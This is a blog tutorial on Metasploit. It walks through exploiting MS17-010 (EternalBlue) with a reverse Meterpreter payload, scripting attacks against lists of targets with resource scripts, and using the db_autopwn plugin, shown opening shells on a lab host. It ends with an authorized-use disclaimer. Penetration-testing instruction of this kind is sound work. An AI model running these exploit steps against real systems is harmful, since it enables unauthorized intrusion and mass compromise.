Metasploit Framework Basics Part 1: Manual to Automatic Exploitation

Silverhs
Silverhs
Sep 6 · 8 min read

Metasploit Framework (MSF) is a commonly-used tool for exploitation. In this tutorial, we are going to exploit our targets manually to automatically utilizing MSF. Many modules are provided and are categorized according to the functionalities. We can list the categorizations of modules first.

user@kali:~$ ls /usr/share/metasploit-framework/modules/ 
auxiliary encoders evasion exploits nops payloads post

The numbers of each categorization are shown in the banner of msfconsole.

       =[ metasploit v5.0.99-dev                          ]
+ -- --=[ 2045 exploits - 1106 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Our purpose is to get access to the targets by exploitation, so we mainly focus on the exploits in this tutorial.

Before we move on, one thing we need to think about.

Are we going to exploit manually or automatically in our cases?

We will introduce both the manual and automatic methods in the following tutorials. Each method has its pros and cons. We need to assess which is more suitable for different cases. The considering factors may include the requirements of stealth, efficiency, etc. We will give some examples at the end of this article, so stay tuned please : )).

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Manual Exploitation Step-By-Step

Launching Msfconsole

Before launching Msfconsole, we should start the PostgreSQL service that is the backend database of MSF. The database is used to store the host information. At the beginning of learning MSF, the usage of the database is easily ignored. As learning further, You will find it very useful while organizing penetration testing projects or jobs of automation.

u@kali:~$ systemctl start postgresql.service

For the first time launching MSF, we need to initialize the database.

u@kali:~$ msfdb init

Now, let’s launch the msfconsole. The parameter ‘-q’ means running without showing the banner (quiet mode). Eventually, we are in the console after prompting msf5 >.

u@kali:~$ msfconsole -q
msf5 >

Searching Modules

Based on the results of scanning and vulnerability discovery, we need to search for suitable exploits. The msfconsole supports customized searching. We can list the searching options by using the help search.

msf5 > help search
Keywords:
app : Modules that are client or server attacks
author : Modules written by this author
bid : Modules with a matching Bugtraq ID
cve : Modules with a matching CVE ID
edb : Modules with a matching Exploit-DB ID
name : Modules with a matching descriptive name
platform : Modules affecting this platform
ref : Modules with a matching ref
type : Modules of a specific type (exploit, auxiliary, or post)
Examples:
search cve:2009 type:exploit app:client

Then, we specify the options to make the results more precisely. For example, to search for ms17–010 exploitation modules, we can use the following requests.

msf5 > search name:eternalblue type:exploit app:client

Matching Modules
================

Name Disclosure Date Rank
---- --------------- ----
exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average
exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average
Interact with a module by name or index, for example use 1 or use exploit/windows/smb/ms17_010_eternalblue_win8

Our target is a Windows 7 machine, so we choose the first module.

Using Modules

msf5 > use exploit/windows/smb/ms17_010_eternalblue 
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

After using the module, it tells us what the default payload is.

Setting Options

Firstly, we need to show the options. If the ‘Required’ of the option is ‘yes’, we should specify it.

msf5 exploit(windows/smb/ms17_010_eternalblue) > options
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From the above information, only ‘RHOSTS’ is blank and required to be set. We can give a single IP address or the CIDR identifier. Here, we assume our target IP address is 192.168.0.12.

msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.0.12
RHOSTS => 192.168.0.12

The default payload is “windows/x64/meterpreter/reverse_tcp”, which is used to spawn a reverse meterpreter shell after successful exploitation. If the default payload is not the satisfied one, the payloads available for this exploit can also be listed by:

msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Meterpreter is a powerful shell that supports extensible functionalities than the normal shell payload. Therefore, we directly use the default payload here. Please note that the local IP address is automatically filled in by the system, but we should check if it is the correct interface that we want to listen to. If incorrect, we need to set it manually.

msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.11 
LHOST => 192.168.0.11

Exploiting

Hooray! After everything is prepared, we can start exploiting.

msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit

Automatic Exploitation By Resource Scripts

More often than not, we require fast exploitation. It is efficient to conduct automatic exploitation by scripts. Once the script is triggered, it will execute all of the commands automatically.

Saving History Commands to a Resource Script

If the exploitation has been manually conducted, we can use an awesome command makerc to save all of the history commands in the resource script exploit_17010.rc.

msf5 exploit > makerc exploit_17010.rc 
[*] Saving last 4 commands to exploit_17010.rc ...

Creating a Resource Script

Sometimes, we do have the beforehand exploitation. We can create a resource script file first.

u@kali:~$ touch exploit_17010.rc

Then, we type in all of the msfconsole commands that we need for exploitation. We can use any of our preferred text editor like nano or vim to do this.

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.12
set LHOST 192.168.0.11
exploit -j

We especially add an additional parameter exploit -j in the final command. It makes exploit run as a background job, which means after exploitation is completed, the shell will be maintained in the background. This is commonly used for multiple exploitations so that the system can resume after one successful shell is opened. To find the background shells, we can use the commandsessions to list the active sessions and interact with them utilizing sessions -i Id.

So far so good. And now we may come up with some ideas like:

Can we make the scripts more customizable by passing the target IP address during runtime?

Unfortunately, resource scripts can not receive the arguments directly. We need to embed ruby blocks in the scripts to process the arguments. If only one single target is passed, we can utilize the environment variable to pass the IP address.

<ruby>
run_single("set RHOSTS #{ENV['TARGET']}")
</ruby>

Here, the code block refers to an environment variable called “TARGET”. Before running the resource script, the variable named “TARGET” should be set.

u@kali:~$ export TARGET=192.168.0.12

If we need to automatically exploit multiple targets at one time, we can save the targets in one file (targets.txt) and use the file reading function in Ruby to iterate through each target.

<ruby>
File.foreach("targets.txt", "\n"){|target_IP| run_single("set RHOSTS
#{target_IP}")}
</ruby>

For example, the file “targets.txt” contains multiple target IP addresses like this form:

192.168.0.12
192.168.0.13
...snip...

The resource script file is presented below.

Running Resource Scripts

We can run the scripts in two ways. The first way is to run it directly from the terminal.

u@kali:~$ msfconsole -q -r exploit_17010.rc

The second way is to execute it inside the msfconsole. This method can save the console initialization time.

msf5 > resource exploit_17010.rc[*] Processing /u/exploit.rc for ERB directives.
resource (/u/exploit_17010.rc)> use exploit/windows/smb/ms17_010_eternalblue
resource (/u/exploit_17010.rc)> set RHOSTS 192.168.0.12
RHOSTS => 192.168.0.12
resource (/u/exploit_17010.rc)> set LHOST 192.168.0.11
LHOST => 192.168.0.11
resource (/u/exploit_17010.rc)> exploit -j

Automatic Exploitation by Plugin: Autopwn

There is an auto-pwning plugin called “db_autopwn”. In the newer version of Metasploit, it is no longer the default plugin, so we should first download the script from this Github page or using wget in the terminal.

u@kali:~$ wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb

After the download is completed, it is required to copy the file “db_autopwn.rb” to the path of plugins.

u@kali:~$ cp db_autopwn.rb /usr/share/metasploit-framework/plugins

Then, we load db_autopwn in the msfconsole.

msf5 > load db_autopwn
[*] Successfully loaded plugin: db_autopwn

It is worth noting that this plugin conducts exploitation toward all of the hosts in the database of the current workspace. Therefore, it is better to create a workspace and conduct port scans to save our targets first.

We create a workspace called ‘Case01’ and switch to that workspace. Now, there is no host in Case01.

msf5 > workspace -a Case01
[*] Added workspace: Case01
[*] Workspace: Case01
msf5 > workspace Case01
[*] Workspace: Case01
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info
------- --- ---- ------- --------- ----- ------- ----

Then, we utilize db_nmap to do the port scan toward our target. The results are saved to the database and can be listed by hosts.

msf5 > db_nmap -Pn 192.168.0.13
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-05 11:22 EDT
[*] Nmap: Nmap scan report for 192.168.0.13
[*] Nmap: Host is up (0.0015s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT STATE SERVICE
[*] Nmap: 21/tcp open ftp
[*] Nmap: 22/tcp open ssh
[*] Nmap: 23/tcp open telnet
[*] Nmap: 25/tcp open smtp
[*] Nmap: 53/tcp open domain
...snip...msf5 > hosts
Hosts
=====
address mac os_name os_flavor os_sp purpose
------- --- ------- --------- ----- -------
192.168.0.13 02:00:0a:68:3e:15 Unknown device

Finally, we can run db_autopwn.

msf5 > db_autopwn -t -p -r -e -q...snip...Active sessions
===============
Session ID: 1
Name:
Type: shell php
Info:
Tunnel: 192.168.0.11:19719 -> 192.168.0.13:58360 (192.168.0.13)
Via: exploit/multi/http/php_cgi_arg_injection
Encrypted: false
UUID:
CheckIn: <none>
Registered: No
Session ID: 2
Name:
Type: shell unix
Info:
Tunnel: 192.168.0.11:31117 -> 192.168.0.13:49511 (192.168.0.13)
Via: exploit/unix/irc/unreal_ircd_3281_backdoor
Encrypted: false
UUID:
CheckIn: <none>
Registered: No
[*] ====================================================================

We are rewarded with two active sessions. Happy auto-pwning!

msf5 > sessionsActive sessions
===============
Id Type Connection
-- ---- ----------
1 shell php/php 192.168.0.11:19719 -> 192.168.0.13:58360
2 shell cmd/unix 192.168.0.11:31117 -> 192.168.0.13:49511

Great job! We have learned both manual and automatic exploitation.

Wrapping Up

A complete cyber kill chain includes the pre-attack, attack, and post-attack phase. In penetration testing, we gather information from the pre-attack phase and conduct a precise attack by exploiting vulnerable services. In such a situation, it is beneficial to conduct an automatic attack toward multiple vulnerable targets by resource scripts. This way, we will not make a loud noise and will not risk damaging the system. In a CTF-KoTH competition, fast exploitation is the most important thing. The earlier we control the system, the more scores we will get. Therefore, using db_autopwn is a good choice to support exploitation.

[Disclaimer]

All the information in this article is only for learning purposes. Please only use the information and attacking tools in explicitly authorized and permitted scenarios, such as documented penetration testing or CTF games. Otherwise, it is illegal. Any illegal abuse is the responsibility of the end-users.

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